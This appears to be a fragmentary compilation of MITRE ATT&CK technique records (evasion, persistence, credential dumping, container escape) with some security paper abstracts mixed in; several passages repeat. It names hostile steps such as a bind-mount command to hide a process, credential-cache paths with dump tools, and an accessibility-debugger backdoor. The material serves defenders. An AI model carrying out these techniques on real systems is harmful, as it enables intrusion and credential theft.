AV and other file-based scanners often include exclusions to optimize performance as well as ease installation and legitimate use of applications. These exclusions may be contextual (e.g., scans are only initiated in response to specific triggering events/alerts), but are also often hardcoded strings referencing specific folders and/or files assumed to be trusted and legitimate.\n\nAdversaries may abuse these exclusions to hide their file-based artifacts. For example, rather than tampering with tool settings to add a new exclusion (i.e., Disable or Modify Tools), adversaries may drop their file-based payloads in default or otherwise well-known exclusions. Adversaries may also use Security Software Discovery and other Discovery/Reconnaissance activities to both discover and verify existing exclusions in a victim environment.\n\n**Classification.** - Tactics: stealth\n- Platforms: Linux, macOS, Windows\n- Sub-technique of: T1564 Hide Artifacts - Adversaries may attempt to hide artifacts associated with their behaviors to evade detection.\n\n**Mitigations.** - **Antivirus/Antimalware**: Antivirus/Antimalware solutions utilize signatures, heuristics, and behavioral analysis to detect, block, and remediate malicious software, including viruses, trojans, ransomware, and spyware.

[…]\n\n## Reference: ATT&CK T1564.013 Bind Mounts\n**ATT&CK T1564.013 Bind Mounts (full record).** Adversaries may abuse bind mounts on file structures to hide their activity and artifacts from native utilities. A bind mount maps a directory or file from one location on the filesystem to another, similar to a shortcut on Windows. It’s commonly used to provide access to specific files or directories across different environments, such as inside containers or chroot environments, and requires sudo access.\n\nAdversaries may use bind mounts to map either an empty directory or a benign `/proc` directory to a malicious process’s `/proc` directory. Using the commands `mount –o bind /proc/benign-process /proc/malicious-process` (or `mount –B`), the malicious process's `/proc` directory is overlayed with the contents of a benign process's `/proc` directory. When system utilities query process activity, such as `ps` and `top`, the kernel follows the bind mount and presents the benign directory’s contents instead of the malicious process's actual `/proc` directory. As a result, these utilities display information that appears to come from the benign process, effectively hiding the malicious process's metadata, executable, or other artifacts from detection.\n\n**Classification.** - Tactics: stealth\n- Platforms: Linux\n- Sub-technique of: T1564 Hide Artifacts - Adversaries may attempt to hide artifacts associated with their behaviors to evade detection.\n\n**Detection strategies and analytics.** - **Detection Strategy for Bind Mounts on Linux**\n - Abuse of bind mounts to obscure process directories. Defender perspective: detecting anomalous mount operations where a process’s /proc entry is remapped to another directory, often hiding malicious activity from native utilities (ps, top). Behavior chain includes: (1) execution of `mount` with `-o bind` or `-B` flags, (2) modification of /proc entries inconsistent with expected process lineage, and (3) subsequent anomalous activity from processes whose metadata no longer matches execution context. […]\n\n## Reference: ATT&CK T1564.014 Extended Attributes\n**ATT&CK T1564.014 Extended Attributes (full record).** Adversaries may abuse extended attributes (xattrs) on macOS and Linux to hide their malicious data in order to evade detection. Extended attributes are key-value pairs of file and directory metadata used by both macOS and Linux. They are not visible through standard tools like `Finder`, `ls`, or `cat` and require utilities such as `xattr` (macOS) or `getfattr` (Linux) for inspection. Operating systems and applications use xattrs for tagging, integrity checks, and access control. On Linux, xattrs are organized into namespaces such as `user.` (user permissions), `trusted.` (root permissions), `security.`, and `system.`, each with specific permissions. On macOS, xattrs are flat strings without namespace prefixes, commonly prefixed with `com.apple.*` (e.g., `com.apple.quarantine`, `com.apple.metadata:_kMDItemUserTags`) and used by system features like Gatekeeper and Spotlight.\n\nAn adversary may leverage xattrs by embedding a second-stage payload into the extended attribute of a legitimate file. On macOS, a payload can be embedded into a custom attribute using the `xattr` command. A separate loader can retrieve the attribute with `xattr -p`, decode the content, and execute it using a scripting interpreter. On Linux, an adversary may use `setfattr` to write a payload into the `user.` namespace of a legitimate file. A loader script can later extract the payload with `getfattr --only-values`, decode it, and execute it using bash or another interpreter. In both cases, because the primary file content remains unchanged, security tools and integrity checks that do not inspect extended attributes will observe the original file hash, allowing the malicious payload to evade detection.\n\n**Classification.** - Tactics: stealth\n- Platforms: Linux, macOS\n- Sub-technique of: T1564 Hide Artifacts - Adversaries may attempt to hide artifacts associated with their behaviors to evade detection.

For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.\n\n**Classification.** - Tactics: impact\n- Platforms: Linux, macOS, Windows\n\n**Sub-techniques.** - T1565.002 Transmitted Data Manipulation: Adversaries may alter data en route to storage or other systems in order to manipulate external outcomes or hide activity, thus threatening the integrity of the data.\n- T1565.003 Runtime Data Manipulation: Adversaries may modify systems in order to manipulate the data as it is accessed and displayed to an end user, thus threatening the integrity of the data.\n- T1565.001 Stored Data Manipulation: Adversaries may insert, delete, or manipulate data at rest in order to influence external outcomes or hide activity, thus threatening the integrity of the data.\n\n**Mitigations.** - **Encrypt Sensitive Information**: Protect sensitive information at rest, in transit, and during processing by using strong encryption algorithms.

By leveraging remote storage solutions, organizations enhance the protection of forensic evidence, sensitive information, and monitoring data. This mitigation can be implemented through the following measures:\n- **Network Segmentation**: Network segmentation involves dividing a network into smaller, isolated segments to control and limit the flow of traffic between devices, systems, and applications.

Each OID identifies a variable that can be read or set and permits active management tasks, such as configuration changes, through remote modification of these variables. SNMP can give administrators great insight in their systems, such as, system information, description of hardware, physical location, and software packages.

On Android and iOS, APIs and libraries exist to facilitate scheduling tasks to execute at a specified date, time, or interval.\n\nOn Android, the `WorkManager` API allows asynchronous tasks to be scheduled with the system. `WorkManager` was introduced to unify task scheduling on Android, using `JobScheduler`, `GcmNetworkManager`, and `AlarmManager` internally. `WorkManager` offers a lot of flexibility for scheduling, including periodically, one time, or constraint-based (e.g. only when the device is charging).\n\nOn iOS, the `NSBackgroundActivityScheduler` API allows asynchronous tasks to be scheduled with the system. The tasks can be scheduled to be repeating or non-repeating, however, the system chooses when the tasks will be executed.

By utilizing a proxy, adversaries hide the true IP address of their C2 server and associated infrastructure from the destination of the network traffic. This masquerades an adversary’s traffic as legitimate traffic originating from the compromised device, which can evade IP-based restrictions and alerts on certain services, such as bank accounts and social media websites.\n\nThe most common type of proxy is a SOCKS proxy.

IFEOs enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application’s IFEO will be prepended to the application’s name, effectively launching the new process under the debugger (e.g., `C:\\dbg\\ntsd.exe -g notepad.exe`).\n\nIFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. IFEOs are represented as `Debugger` values in the Registry under `HKLM\\SOFTWARE{\\Wow6432Node}\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\` where `` is the binary on which the debugger is attached.\n\nIFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IFEO and silent process exit Registry values in `HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\`.\n\nSimilar to Accessibility Features, on Windows Vista and later as well as Windows Server 2008 and later, a Registry key may be modified that configures \"cmd.exe,\" or another program that provides backdoor access, as a \"debugger\" for an accessibility program (ex: utilman.exe). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with Remote Desktop Protocol will cause the \"debugger\" program to be executed with SYSTEM privileges.\n\nSimilar to Process Injection, these values may also be abused to obtain privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. Installing IFEO mechanisms may also provide Persistence via continuous triggered invocation.\n\nMalware may also use IFEO to impair defenses by registering invalid debuggers that redirect and effectively disable various system and security applications.

A PowerShell profile (`profile.ps1`) is a script that runs when PowerShell starts and can be used as a logon script to customize user environments.\n\nPowerShell supports several profiles depending on the user or host program. For example, there can be different profiles for PowerShell host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. An administrator can also configure a profile that applies to all users and host programs on the local computer.\n\nAdversaries may modify these profiles to include arbitrary commands, functions, modules, and/or PowerShell drives to gain persistence. Every time a user opens a PowerShell session the modified script will be executed unless the `-NoProfile` flag is used when it is launched.\n\nAn adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator.\n\n**Classification.** - Tactics: privilege-escalation, persistence\n- Platforms: Windows\n- Sub-technique of: T1546 Event Triggered Execution - Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events. Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries.\n\n**Mitigations.** - **Code Signing**: Code Signing is a security process that ensures the authenticity and integrity of software by digitally signing executables, scripts, and other code artifacts. It prevents untrusted or malicious code from executing by verifying the digital signatures against trusted sources. Code signing protects against tampering, impersonation, and distribution of unauthorized or malicious software, forming a critical defense against supply chain and software exploitation attacks.\n- **Restrict File and Directory Permissions**: Restricting file and directory permissions involves setting access controls at the file system level to limit which users, groups, or processes can read, write, or execute files. By configuring permissions appropriately, organizations can reduce the attack surface for adversaries seeking to access sensitive data, plant malicious code, or tamper with system files.

Emond is a Launch Daemon that accepts events from various services, runs them through a simple rules engine, and takes action. The emond binary at `/sbin/emond` will load any rules from the `/etc/emond.d/rules/` directory and take action once an explicitly defined event takes place.\n\nThe rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path `/private/var/db/emondClients`, specified in the Launch Daemon configuration file at`/System/Library/LaunchDaemons/com.apple.emond.plist`.\n\nAdversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication. Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the Launch Daemon service.\n\n**Classification.** - Tactics: privilege-escalation, persistence\n- Platforms: macOS\n- Sub-technique of: T1546 Event Triggered Execution - Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events.

COM is a system within Windows to enable interaction between software components through the operating system. References to various COM objects are stored in the Registry.\n\nAdversaries may use the COM system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead. An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection.\n\nOne variation of COM hijacking involves abusing Type Libraries (TypeLibs), which provide metadata about COM objects, such as their interfaces and methods. Adversaries may modify Registry keys associated with TypeLibs to redirect legitimate COM object functionality to malicious scripts or payloads. Unlike traditional COM hijacking, which commonly uses local DLLs, this variation may leverage the \"script:\" moniker to execute remote scripts hosted on external servers. This approach enables stealthy execution of code while maintaining persistence, as the remote payload would be automatically downloaded whenever the hijacked COM object is accessed.\n\n**Classification.** - Tactics: privilege-escalation, persistence\n- Platforms: Windows\n- Sub-technique of: T1546 Event Triggered Execution - Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events.

Commonly, AutoRun or AutoPlay are disabled in many operating systems configurations to mitigate against this technique. If a device is configured to enable AutoRun or AutoPlay, adversaries may execute code on the device by mounting the removable media to the device, either through physical or virtual means. This may be especially relevant for virtual machine environments where disk images may be dynamically mapped to a guest system on a hypervisor.\n\nAn example could include an adversary gaining access to a hypervisor through the management interface to modify a virtual machine’s hardware configuration. They could then deploy an iso image with a malicious AutoRun script to cause the virtual machine to automatically execute the code contained on the disk image.

Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system.\n\nWhen preforming PtT, valid Kerberos tickets for Valid Accounts are captured by OS Credential Dumping. A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access.\n\nA Silver Ticket can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint).\n\nA Golden Ticket can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory.\n\nAdversaries may also create a valid Kerberos ticket using other user information, such as stolen password hashes or AES keys. For example, \"overpassing the hash\" involves using a NTLM password hash to authenticate as a user (i.e. Pass the Hash) while also using the password hash to create a valid Kerberos ticket.\n\n**Classification.** - Tactics: lateral-movement\n- Platforms: Windows\n- Sub-technique of: T1550 Use Alternate Authentication Material - Adversaries may use alternate authentication material, such as password hashes, Kerberos tickets, and application access tokens, in order to move laterally within an environment and bypass normal system access controls.\n\n**Mitigations.** - **Privileged Account Management**: Privileged Account Management focuses on implementing policies, controls, and tools to securely manage privileged accounts (e.g., SYSTEM, root, or administrative accounts).

This technique bypasses some multi-factor authentication protocols since the session is already authenticated.\n\nAuthentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through Steal Web Session Cookie or Web Cookies, the adversary may then import the cookie into a browser they control and is then able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform.\n\nThere have been examples of malware targeting session cookies to bypass multi-factor authentication systems.\n\n**Classification.** - Tactics: lateral-movement\n- Platforms: IaaS, Office Suite, SaaS\n- Sub-technique of: T1550 Use Alternate Authentication Material - Adversaries may use alternate authentication material, such as password hashes, Kerberos tickets, and application access tokens, in order to move laterally within an environment and bypass normal system access controls.\n\n**Mitigations.** - **Software Configuration**: Software configuration refers to making security-focused adjustments to the settings of applications, middleware, databases, or other software to mitigate potential threats. These changes help reduce the attack surface, enforce best practices, and protect sensitive data. This mitigation can be implemented through the following measures:\n\n**Detection strategies and analytics.** - **Detect Use of Stolen Web Session Cookies Across Platforms**\n - Anomalous access to cloud web applications using session tokens without corresponding MFA/credential validation, often from unusual locations or device fingerprints.

These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.\n\nIt is possible to extract passwords from backups or saved virtual machines through OS Credential Dumping. Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller.\n\nIn cloud and/or containerized environments, authenticated user and service account credentials are often stored in local configuration and credential files.

This can allow an adversary access to other containerized or virtualized resources from the host level or to the host itself. In principle, containerized / virtualized resources should provide a clear separation of application functionality and be isolated from the host environment.\n\nThere are multiple ways an adversary may escape from a container to a host environment. Examples include creating a container configured to mount the host’s filesystem using the bind parameter, which allows the adversary to drop payloads and execute control utilities such as cron on the host; utilizing a privileged container to run commands or load a malicious kernel module on the underlying host; or abusing system calls such as `unshare` and `keyctl` to escalate privileges and steal secrets.\n\nAdditionally, an adversary may be able to exploit a compromised container with a mounted container management socket, such as `docker.sock`, to break out of the container via a Container Administration Command. Adversaries may also escape via Exploitation for Privilege Escalation, such as exploiting vulnerabilities in global symbolic links in order to access the root directory of a host machine.\n\nIn ESXi environments, an adversary may exploit a vulnerability in order to escape from a virtual machine into the hypervisor.\n\nGaining access to the host may provide the adversary with the opportunity to achieve follow-on objectives, such as establishing persistence, moving laterally within the environment, accessing other containers or virtual machines running on the host, or setting up a command and control channel on the host.\n\n**Classification.** - Tactics: privilege-escalation\n- Platforms: Windows, Linux, Containers, ESXi\n\n**Mitigations.** - **Update Software**: Software updates ensure systems are protected against known vulnerabilities by applying patches and upgrades provided by vendors. Regular updates reduce the attack surface and prevent adversaries from exploiting known security gaps. This includes patching operating systems, applications, drivers, and firmware. This mitigation can be implemented through the following measures:\n- **Execution Prevention**: Prevent the execution of unauthorized or malicious code on systems by implementing application control, script blocking, and other execution prevention mechanisms.

A remote `build` request may be sent to the Docker API that includes a Dockerfile that pulls a vanilla base image, such as alpine, from a public or local registry and then builds a custom image upon it.\n\nAn adversary may take advantage of that `build` API to build a custom image on the host that includes malware downloaded from their C2 server, and then they may utilize Deploy Container using that custom image. If the base image is pulled from a public registry, defenses will likely not detect the image as malicious since it’s a vanilla image. If the base image already resides in a local registry, the pull may be considered even less suspicious since the image is already in the environment.\n\n**Classification.** - Tactics: stealth\n- Platforms: Containers\n\n**Mitigations.** - **Limit Access to Resource Over Network**: Restrict access to network resources, such as file shares, remote systems, and services, to only those users, accounts, or systems with a legitimate business requirement.

This mitigation can be implemented through the following measures:\n- **Privileged Account Management**: Privileged Account Management focuses on implementing policies, controls, and tools to securely manage privileged accounts (e.g., SYSTEM, root, or administrative accounts). This includes restricting access, limiting the scope of permissions, monitoring privileged account usage, and ensuring accountability through logging and auditing.This mitigation can be implemented through the following measures:\n- **Network Segmentation**: Network segmentation involves dividing a network into smaller, isolated segments to control and limit the flow of traffic between devices, systems, and applications.

In Docker, logs may leak information about the environment, such as the environment’s configuration, which services are available, and what cloud provider the victim may be utilizing.

Bootkits reside at a layer below the operating system and may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.\n\nIn BIOS systems, a bootkit may modify the Master Boot Record (MBR) and/or Volume Boot Record (VBR). The MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code.\n\nThe MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.\n\nIn UEFI (Unified Extensible Firmware Interface) systems, a bootkit may instead create or modify files in the EFI system partition (ESP). The ESP is a partition on data storage used by devices containing UEFI that allows the system to boot the OS and other utilities used by the system.

Moreover, as Bluetooth networks are formed by the radio links, there are also additional security aspects whose impact is yet not well understood. In this paper, we propose a novel Man-In- The-Middle (MITM) attack against Bluetooth enabled mobile phone that support Simple Secure Pairing( SSP). From the literature it was proved that the SSP association models such as Numeric comparison, Just works and passkey Entry are not more secure. Here we propose the Out Of Band (OOB) channeling with enhanced security than the previous methods.\n\nKeywords- Authentication, Bluetooth, Man-In-The- Middle attack, Secure Simple Pairing, Out Of Band channeling.\n\n**I. INTRODUCTION.** Bluetooth is an open standard for short-range radio frequency (RF) communication. Bluetooth standard specifies wireless operation in the 2.4 GHz–2.4835 GHz ISM frequency band and supports data rates up to 720 Kbps. Bluetooth uses a frequency-hopping spreadspectrum (FHSS) technology to solve interference problems. The FHSS scheme uses 79 different radio channels by changing frequency about 1,600 times per second. This allows users to form ad-hoc networks between a wide variety of devices to transfer voice and data. Bluetooth eliminate wires and cables between both\n\nstationary and mobile devices. Bluetooth is a low-cost, low-power technology that provides a mechanism for creating small wireless networks on an ad-hoc basis, known as piconets. A piconet is composed of two or more Bluetooth devices in close physical proximity that operate on the same channel using the same frequency hopping sequence.

And as such, the topic of Intrusion Detection Systems has become one of the most prominent research topics in recent years. This paper gives an overview of the Intrusion Detection System and looks at two major machine learning paradigms used in Intrusion Detection System, Genetic Algorithms and Fuzzy Logic and how to apply them for intrusion detection.\n\nKeywords – Survey, Intrusion Detection System, Fuzzy Logic, Genetic Algorithms, Anomaly Detection ----------------------------------------------------------------------------------------------------------------------------------------------------- Date of Submission: Date Revised: Date of Acceptance: -----------------------------------------------------------------------------------------------------------------------------------------------------\n\n**1. INTRODUCTION.** With the leap in information flow across the internet, the network scale is expanding on a daily basis, and with it is increasing the threats to the systems connected to the networks. An attack on important and confidential data is one of the foremost concerns for the users. These attacks may come in various forms including hacks, virus, worms, steganography [3, 26], dictionary attacks [5, 40, 11] and denial of service attacks [36, 37] etc. With these threats looming every time a user goes online, it is important to have a mechanism that could analyze these threats and defend the system against them. Many researchers have suggested numerous techniques to deal with security threats which include multifactor authentication [16], multipath routing [14, 33, 18, 31, 21], and biometric security measures [38, 6] etc. Besides adopting these measures, conventional measures like firewalls, antiviruses, network analyzers etc. are also used. Among these, one of the most significant counter measures [10, 29, 30, 19] against security threats is the Intrusion Detection System also known as IDS. […]\n\n## Reference: Towards Steganography Detection Through Network Traffic Visualisation\nAbstract — The paper presents initial step toward new network anomaly detection method that is based on traffic visualisation. The key design principle of the proposed approach is the lack of direct, linear time dependencies for the created network traffic visualisations. The method’s feasibility is demonstrated in network steganography environment by presenting stegtomography methodology and developing the dedicated visualisation tool. To authors’ best knowledge this is the first utilization of network traffic visualisations for steganalysis purposes.\n\nsteganalysis, steganography detection, traffic visualisation I.\n\n**INTRODUCTION.** Anomalies in network traffic can be caused by malicious actions that might compromise network security. Thus, anomaly detection methods in telecommunication networks focus on finding illegal activities/events, especially those that can be caused by potential attacker/intruder. The device that offers such functionality is called Intrusion Detection/Prevention System (ID/PS) that is a vital network security component allowing the implementation of the assumed security policy. However, currently such solutions for the telecommunication networks are facing problems caused mostly by huge traffic volume that must be monitored: they are not efficient enough. And in ideal situation traffic analysis should be performed in a near realtime manner to prevent potential attacks as soon as possible. This urges to work on effective and efficient solutions for network anomaly detection. Anomalies are defined as patterns that do not conform to defined and expected established principle. The essence of the anomaly detection is a problem of finding data patters that do not fit the defined set of the expected behaviour. Anomaly detection methods have wide spectrum of applications ([1], [2]) from detection of credit card frauds, software/hardware malfunctions, military applications to detection of the malicious activities in telecommunication networks. Anomaly detection in telecommunication networks focuses on finding illegal activities/events, especially those that can be caused by potential attacker/intruder. Illegal activity includes: DoS (Denial of Service) or DDoS (Distributed DoS) attacks, network devices port scanning attempts or hacking of the security measures, hostile devices takeovers or other events that can be harmful for security policy defined for a given network. Other sources of anomalies include worms, viruses or trojans.

Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.\n\nAdversaries may use task scheduling to execute programs at system startup or on a scheduled basis for persistence. These mechanisms can also be abused to run a process under the context of a specified account (such as one with elevated permissions/privileges).

The at utility exists as an executable within Windows, Linux, and macOS for scheduling tasks at a specified time and date. Although deprecated in favor of Scheduled Task's schtasks in Windows environments, using at requires that the Task Scheduler service be running, and the user to be logged on as a member of the local Administrators group. In addition to explicitly running the `at` command, adversaries may also schedule a task with at by directly leveraging the Windows Management Instrumentation `Win32_ScheduledJob` WMI class.\n\nOn Linux and macOS, at may be invoked by the superuser as well as any users added to the `at.allow` file. If the `at.allow` file does not exist, the `at.deny` file is checked. Every username not listed in `at.deny` is allowed to invoke at. If the `at.deny` exists and is empty, global use of at is permitted. If neither file exists (which is often the baseline) only the superuser is allowed to use at.\n\nAdversaries may use at to execute programs at system startup or on a scheduled basis for Persistence. at can also be abused to conduct remote Execution as part of Lateral Movement and/or to run a process under the context of a specified account (such as SYSTEM).\n\nIn Linux environments, adversaries may also abuse at to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, at may also be used for Privilege Escalation if the binary is allowed to run as superuser via `sudo`.\n\n**Classification.** - Tactics: execution, persistence, privilege-escalation\n- Platforms: Windows, Linux, macOS\n- Sub-technique of: T1053 Scheduled Task/Job - Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code.

There are multiple ways to access the Task Scheduler in Windows. The schtasks utility can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel. In some cases, adversaries have used a.NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library and Windows Management Instrumentation (WMI) to create a scheduled task. Adversaries may also utilize the Powershell Cmdlet `Invoke-CimMethod`, which leverages WMI class `PS_ScheduledTask` to create a scheduled task via an XML path.\n\nAn adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and/or to run a process under the context of a specified account (such as SYSTEM). Similar to System Binary Proxy Execution, adversaries have also abused the Windows Task Scheduler to potentially mask one-time execution under signed/trusted system processes.\n\nAdversaries may also create \"hidden\" scheduled tasks (i.e. Hide Artifacts) that may not be visible to defender tools and manual queries used to enumerate tasks. Specifically, an adversary may hide a task from `schtasks /query` and the Task Scheduler by deleting the associated Security Descriptor (SD) registry value (where deletion of this value must be completed using SYSTEM permissions). Adversaries may also employ alternate methods to hide tasks, such as altering the metadata (e.g., `Index` value) within associated registry keys.\n\n**Classification.** - Tactics: execution, persistence, privilege-escalation\n- Platforms: Windows\n- Sub-technique of: T1053 Scheduled Task/Job - Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code.

Systemd timers are unit files with file extension `.timer` that control services. Timers can be set to run on a calendar event or after a time span relative to a starting point. They can be used as an alternative to Cron in Linux environments. Systemd timers may be activated remotely via the `systemctl` command line utility, which operates over SSH.\n\nEach `.timer` file must have a corresponding `.service` file with the same name, e.g., `example.timer` and `example.service`. `.service` files are Systemd Service unit files that are managed by the systemd system and service manager. Privileged timers are written to `/etc/systemd/system/` and `/usr/lib/systemd/system` while user level are written to `~/.config/systemd/user/`.\n\nAn adversary may use systemd timers to execute malicious code at system startup or on a scheduled basis for persistence. Timers installed using privileged paths may be used to maintain root level persistence. Adversaries may also install user level timers to achieve user level persistence.\n\n**Classification.** - Tactics: execution, persistence, privilege-escalation\n- Platforms: Linux\n- Sub-technique of: T1053 Scheduled Task/Job - Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time.\n\n**Mitigations.** - **Restrict File and Directory Permissions**: Restricting file and directory permissions involves setting access controls at the file system level to limit which users, groups, or processes can read, write, or execute files. By configuring permissions appropriately, organizations can reduce the attack surface for adversaries seeking to access sensitive data, plant malicious code, or tamper with system files.\n- **User Account Management**: User Account Management involves implementing and enforcing policies for the lifecycle of user accounts, including creation, modification, and deactivation.

This includes restricting access, limiting the scope of permissions, monitoring privileged account usage, and ensuring accountability through logging and auditing.This mitigation can be implemented through the following measures:\n- **User Training**: User Training involves educating employees and contractors on recognizing, reporting, and preventing cyber threats that rely on human interaction, such as phishing, social engineering, and other manipulative techniques. Comprehensive training programs create a human firewall by empowering users to be an active component of the organization's cybersecurity defenses.

The number of default cached credentials varies and can be altered per system. This hash does not allow pass-the-hash style attacks, and instead requires Password Cracking to recover the plaintext password.\n\nOn Linux systems, Active Directory credentials can be accessed through caches maintained by software like System Security Services Daemon (SSSD) or Quest Authentication Services (formerly VAS). Cached credential hashes are typically located at `/var/lib/sss/db/cache.[domain].ldb` for SSSD or `/var/opt/quest/vas/authcache/vas_auth.vdb` for Quest. Adversaries can use utilities, such as `tdbdump`, on these database files to dump the cached hashes and use Password Cracking to obtain the plaintext password.\n\nWith SYSTEM or sudo access, the tools/utilities such as Mimikatz, Reg, and secretsdump.py for Windows or Linikatz for Linux can be used to extract the cached credentials.\n\nNote: Cached credentials for Windows Vista are derived using PBKDF2.\n\n**Classification.** - Tactics: credential-access\n- Platforms: Windows, Linux\n- Sub-technique of: T1003 OS Credential Dumping - Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password. Credentials can be obtained from OS caches, memory, or structures.\n\n**Mitigations.** - **Active Directory Configuration**: Implement robust Active Directory (AD) configurations using group policies to secure user accounts, control access, and minimize the attack surface. AD configurations enable centralized control over account settings, logon policies, and permissions, reducing the risk of unauthorized access and lateral movement within the network.

IFEOs enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application’s IFEO will be prepended to the application’s name, effectively launching the new process under the debugger (e.g., `C:\\dbg\\ntsd.exe -g notepad.exe`).\n\nIFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. IFEOs are represented as `Debugger` values in the Registry under `HKLM\\SOFTWARE{\\Wow6432Node}\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\` where `` is the binary on which the debugger is attached.\n\nIFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IFEO and silent process exit Registry values in `HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\`.\n\nSimilar to Accessibility Features, on Windows Vista and later as well as Windows Server 2008 and later, a Registry key may be modified that configures \"cmd.exe,\" or another program that provides backdoor access, as a \"debugger\" for an accessibility program (ex: utilman.exe). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with Remote Desktop Protocol will cause the \"debugger\" program to be executed with SYSTEM privileges.\n\nSimilar to Process Injection, these values may also be abused to obtain privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. Installing IFEO mechanisms may also provide Persistence via continuous triggered invocation.\n\nMalware may also use IFEO to impair defenses by registering invalid debuggers that redirect and effectively disable various system and security applications. […]\n\n## Reference: ATT&CK T1546.013 PowerShell Profile\n**ATT&CK T1546.013 PowerShell Profile (full record).** Adversaries may gain persistence and elevate privileges by executing malicious content triggered by PowerShell profiles. A PowerShell profile (`profile.ps1`) is a script that runs when PowerShell starts and can be used as a logon script to customize user environments.\n\nPowerShell supports several profiles depending on the user or host program. For example, there can be different profiles for PowerShell host programs such as the PowerShell console, PowerShell ISE or Visual Studio Code. An administrator can also configure a profile that applies to all users and host programs on the local computer.\n\nAdversaries may modify these profiles to include arbitrary commands, functions, modules, and/or PowerShell drives to gain persistence. Every time a user opens a PowerShell session the modified script will be executed unless the `-NoProfile` flag is used when it is launched.\n\nAn adversary may also be able to escalate privileges if a script in a PowerShell profile is loaded and executed by an account with higher privileges, such as a domain administrator.\n\n**Classification.** - Tactics: privilege-escalation, persistence\n- Platforms: Windows\n- Sub-technique of: T1546 Event Triggered Execution - Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events. Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries.\n\n**Mitigations.** - **Code Signing**: Code Signing is a security process that ensures the authenticity and integrity of software by digitally signing executables, scripts, and other code artifacts. It prevents untrusted or malicious code from executing by verifying the digital signatures against trusted sources. Code signing protects against tampering, impersonation, and distribution of unauthorized or malicious software, forming a critical defense against supply chain and software exploitation attacks.\n- **Restrict File and Directory Permissions**: Restricting file and directory permissions involves setting access controls at the file system level to limit which users, groups, or processes can read, write, or execute files. By configuring permissions appropriately, organizations can reduce the attack surface for adversaries seeking to access sensitive data, plant malicious code, or tamper with system files. […]\n\n## 